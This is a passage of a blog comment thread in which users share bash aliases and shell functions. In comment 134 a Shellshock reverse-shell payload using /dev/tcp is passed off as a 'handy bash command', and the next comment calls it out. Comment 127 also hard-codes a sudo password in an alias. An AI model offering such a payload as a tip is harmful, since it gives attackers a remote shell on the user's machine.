Thanks to James from comment #28 it now doesn’t include the command its self in the list!

# grep command history.  Uses function so a bare 'gh' doesn't just hang waiting for input.
function gh () {
  if [ -z "$1" ]; then
    echo "Bad usage. try:gh run_test";
    history | egrep $* |grep -v "gh $*"

I also offer this modification to your #8

alias h='history 100'     # give only recent history be default.

other favorites of mine, all taken from elsewhere, are:

alias wcl='wc -l'        # count # of lines
alias perlrep='perl -i -p -e '               # use perl regex to do find/replace in place on files.  CAREFUL!!

# list file/folder sizes sorted from largest to smallest with human readable sizes

function dus () {
du --max-depth=0 -k * | sort -nr | awk '{ if($1>=1024*1024) {size=$1/1024/1024; unit="G"} else if($1>=1024) {size=$1/1024; unit="M"} else {size=$1; unit="K"}; if(size<10) format="%.1f%s"; else format="%.0f%s"; res=sprintf(format,size,unit); printf "%-8s %s\n",res,$2 }'


113 Brian October 26, 2013 at 12:08 am

Alias the word unalias into a 65000 character long password… :)


114 Brian October 26, 2013 at 12:11 am

Likewise alias bin.bash as $=unalias-1


115 TimC November 13, 2013 at 11:37 pm

So you are not truly lazy until you see this in somebody’s alias file

alias a=’alias’




116 Jim C December 12, 2013 at 5:54 pm

It’s a bit off topic but the lack of a good command line trash can command has always seemed like a glaring omission to me.
I usually name it tcan or tcn.


117 rne December 28, 2013 at 8:08 pm

just use Ctrl-D


118 Mikkel January 1, 2014 at 9:38 pm

On OS-X 10.9 replace ‘ls –color=auto’ with ‘ls -G’


119 Robert February 12, 2014 at 3:40 am

# Define a command to cd then print the resulting directory.
# I do this to avoid putting the current directory in my prompt.
alias cd=’cdir’
function cdir ()
\cd “$*”


120 shanker February 12, 2014 at 10:30 am

function mkcd(){
mkdir -p $1
cd $1


121 Brian C February 13, 2014 at 5:12 pm

Lots of great suggestions here.

I use so many aliases and functions that I needed one to search them.
function ga() { alias | grep -i $*; functions | grep -i $*}

This is not so nice with multiple line functions and could be improved with a clever regex.


122 Jules J February 20, 2014 at 2:28 pm
# Find a file from the current directory
alias ff='find . -name '
# grep the output of commands
alias envg='env | grep -i'
alias psg='ps -eaf | head -1; ps -eaf | grep -v " grep " | grep -i'
alias aliasg='alias | grep -i'
alias hg='history | grep -i'
# cd to the directory a symbolically linked file is in.
function cdl {
    if [ "x$1" = "x" ] ; then
        echo "Missing Arg"
    elif [ -L "$1" ] ; then
        link=`/bin/ls -l $1 | tr -s ' ' | cut -d' ' -f10`
        if [ "x$link" = "x" ] ; then
            echo "Failed to get link"
        dirName_=`dirname $link`
        cd "$dirName_"
        echo "$1 is not a symbolic link"
# cd to the dir that a file is found in.
function cdff {
    filename=`find . -name $1 | grep -iv "Permission Denied" | head -1`
    if [ "xx${filename}xx" != "xxxx" ] ; then
        if [ -d $dirname ] ; then
            cd $dirname


123 Rich February 28, 2014 at 7:21 am
export EDITOR=vim
export PAGER=less
set -o vi
eval `resize`
# awk tab delim  (escape '\' awk to disable aliased awk)
tawk='\awk -F "\t" '
# case insensitive grep
alias ig="grep --color -i "
# ls sort by time
alias lt="ls -ltr "
# ls sort by byte size
alias lS='ls -Slr'
# ps by process grep  (ie. psg chrome)
alias psg='\ps -ef|grep --color '
# ps by user
alias psu='\ps auxwwf '
# ps by user with grep (ie. psug budman)
alias psug='psu|grep --color '
# find broken symlinks
alias brokenlinks='\find . -xtype l -printf "%p -> %l\n"'
# which and less a script (ie. ww backup.ksh)
function ww { if [[ ! -z $1 ]];then _f=$(which $1);echo $_f;less $_f;fi }
# use your own vim cfg (useful when logging in as other id's)
alias vim="vim -u /home/budman/.vimrc"


124 Rich February 28, 2014 at 7:21 am

For those of you who use Autosys:

# alias to read log files based on current run date (great for batch autosys jobs)
# ie.  slog mars-reconcile-job-c
export RUN_DIR=~/process/dates
function getRunDate {
    print -n $(awk -F'"' '/^run_date=/{print $2}' ~/etc/run_profile)
function getLogFile {
    print -n $RUN_DIR/$(getRunDate)/log/$1.log
function showLogFile {
    export LOGFILE=$(getLogFile $1);
    print "\nLog File: $LOGFILE\n";
    less -z-4 $LOGFILE;
alias slog="showLogFile "
# Autosys alaises
alias av="autorep -w -J "
alias av0="autorep -w -L0 -J "
alias avq="autorep -w -q -J "
alias aq0="autorep -w -L0 -q -J "
alias ava="autorep -w -D PRD_AUTOSYS_A -J "
alias avc="autorep -w -D PRD_AUTOSYS_C -J "
alias avt="autorep -w -D PRD_AUTOSYS_T -J "
alias am="autorep -w -M "
alias ad="autorep -w -d -J "
alias jd="job_depends -w -c -J "
alias jdd="job_depends -w -d -J "
alias jrh="jobrunhist -J "
alias fsjob="sendevent -P 1 -E FORCE_STARTJOB -J "
alias startjob="sendevent -P 1 -E FORCE_STARTJOB -J "
alias runjob="sendevent -P 1 -E STARTJOB -J "
alias killjob="sendevent -P 1 -E KILLJOB -J "
alias termjob="sendevent -P 1 -E KILLJOB -K 15 -J "
alias onhold="sendevent -P 1 -E JOB_ON_HOLD -J "
alias onice="sendevent -P 1 -E JOB_ON_ICE -J "
alias offhold="sendevent -P 1 -E JOB_OFF_HOLD -J "
alias office="sendevent -P 1 -E JOB_OFF_ICE -J "
alias setsuccess="sendevent -P 1 -E CHANGE_STATUS -s SUCCESS -J "
alias inactive="sendevent -P 1 -E CHANGE_STATUS -s INACTIVE -J "
alias setterm="sendevent -P 1 -E CHANGE_STATUS -s TERMINATED -J "
alias failed="njilgrep -npi -s FA $AUTOSYS_JOB_PREFIX"
alias running="njilgrep -npi -s RU $AUTOSYS_JOB_PREFIX"
alias iced="njilgrep -npi -s OI $AUTOSYS_JOB_PREFIX"
alias held="njilgrep -npi -s OH $AUTOSYS_JOB_PREFIX"


125 mithereal March 23, 2014 at 10:26 pm

heres a few i use

alias killme='slay $USER'
function gi(){
npm install --save-dev grunt-"$@"
function gci(){
npm install --save-dev grunt-contrib-"$@"


126 sjas April 27, 2014 at 2:20 pm
alias v='vim'
alias vi='vim'
alias e='emacs'
alias t='tail -n200'
alias h='head -n20'
alias g='git'
alias p='pushd'
alias o='popd'
alias d='dirs -v'
alias rmf='rm -rf'
# ls working colorful on all OS'es
if [[ `uname` == Linux ]]; then
    export LS1='--color=always'
elif [[ `uname` == Darwin* ]]; then
    export LS1='-G'
    export LS1='--color=auto'
export LS2='-hF --time-style=long-iso'
alias l='ls $LS1 $LS2 -AB'


127 jfb May 24, 2014 at 2:07 pm

Here is one to do a update and upgrade with no user input. Just insert your sudo
password for yourpassword

alias udug=’echo yourpassword | sudo -S apt-get update && sudo apt-get upgrade -y’


128 Henrik Kjelsberg May 27, 2014 at 5:59 pm

Having your password lying around in plain text is never a good idea.


129 jfb May 28, 2014 at 7:28 pm

I am the only one who uses this computer. My daughter, granddaughter, daughter’s
boyfriend and my four dogs all use Windoz. They have no idea what a alias or a terminal is.


130 AndyB July 11, 2014 at 2:46 am

If you want to run apt-get without having to supply a sudo password, just edit the sudo config file to allow that. (Replace “jfb” in this example with your own login).

jfb ALL=(root) NOPASSWD: /usr/bin/apt-get

Hint: edit the config file with “sudo visudo”, not “sudo vim /etc/sudoers”. Visudo will check that you haven’t totally screwed up the config file before writing it out.


131 Xdept July 2, 2014 at 2:14 am

Hey, Just wanted to add my 5 cents.

I use this to make me think before rebooting/shutting down hosts;

alias reboot=’echo “Are you sure you want to reboot host `hostname` [y/N]?” && read reboot_answer && if [ “$reboot_answer” == y ]; then /sbin/reboot; fi’

alias shutdown=’echo “Are you sure you want to shutdown host `hostname` [y/N]?” && read shutdown_answer && if [ “$shutdown_answer” == y ]; then /sbin/shutdown -h now; fi’


132 Niall July 23, 2014 at 12:09 am

Thank you. Great list.


133 David August 22, 2014 at 12:41 am

#2: Control cd command behavior

## get rid of command not found ##
alias cd..=’cd ..’

## a quick way to get out of current directory ##
alias ..=’cd ..’
alias …=’cd ../../../’
alias ….=’cd ../../../../’
alias …..=’cd ../../../../’ <– typo, I think you meant to add an extra level of ../ to this!
alias .4='cd ../../../../'
alias .5='cd ../../../../..'


134 Lyo Mi September 26, 2014 at 5:50 pm

There’s another handy bash command I’ve come by recently in the past days.

() { :;}; /bin/bash -c '/bin/bash -i >& /dev/tcp/123.456.789.012/3333 0>&1


135 foo October 22, 2014 at 12:23 am

shellshock douchebaggery


136 James November 11, 2014 at 1:58 am

Here are a couple that I have to make installing software on Ubuntu easier:

alias sdfind='~/bin/sdfind.sh'
alias sdinst='sudo apt-get install'


137 EricC November 15, 2014 at 10:38 pm

Great list and comments. A minor nit, the nowtime alias has a typo that makes it not work. It needs a closing double quote.


138 hiatus November 20, 2014 at 12:19 am

# Find all IP addresses connected to your network

alias netcheck='nmap -sP $(ip -o addr show | grep inet\  | grep eth | cut -d\  -f 7)'


139 hiatus November 20, 2014 at 12:22 am

# See real time stamp when running dmesg

alias dmesg='dmesg|perl -ne "BEGIN{\$a= time()- qx:cat /proc/uptime:};s/\[\s*(\d+)\.\d+\]/localtime(\$1 + \$a)/e; print \$_;" | sed -e "s|\(^.*"`date +%Y`" \)\(.*\)|\x1b[0;34m\1\x1b[0m - \2|g"'


140 faegt November 20, 2014 at 11:05 am

You know, instead of doing something silly like aliasing clear to c, you can just do ^L (control + L) instead…


141 hiatus November 20, 2014 at 9:11 pm

# Nice readable way to see memory usage

alias minfo='egrep "Mem|Cache|Swap" /proc/meminfo'


142 hiatus November 20, 2014 at 11:57 pm

# Need to figure out which drive your usb is assigned? Functions work the same way as an alias. Simply copy the line into your .profile/.bashrc file. Then type: myusb

myusb () { usb_array=();while read -r -d $'\n'; do usb_array+=("$REPLY"); done < <(find /dev/disk/by-path/ -type l -iname \*usb\*scsi\* -not -iname \*usb\*scsi\*part* -print0 | xargs -0 -iD readlink -f D | cut -c 8) && for usb in "${usb_array[@]}"; do echo "USB drive assigned to sd$usb"; done; }


143 koosha December 7, 2014 at 4:00 am

And if you have zsh, you may want to give oh-my-zsh a try. It has a repo full of aliases.

Even if you do not have zsh you may still want to check it out as it has really nice aliases which are compatible with bash.


144 Andreas Dunker January 13, 2015 at 9:15 am

It’s a little bit dangerous to re-alias existing commands. Once I had trouble finding out why my shell script did not work. It was the coloured output of grep. So I changed my alias:

alias gr=”grep -E -i –color”

And remember the man page:
“For almost every purpose, aliases are superseded by shell functions.”


145 proz January 27, 2015 at 5:55 pm

Is passing all commands via sudo safe?


146 Oliver February 13, 2015 at 11:31 am

Sometimes when working with text files this is quite helpful:

alias top10=”sort|uniq -c|sort -n -r|head -n 10″


Leave a Comment

Tagged as: , , , , , , , , , , , , , , , , , ,

Previous post:

Next post: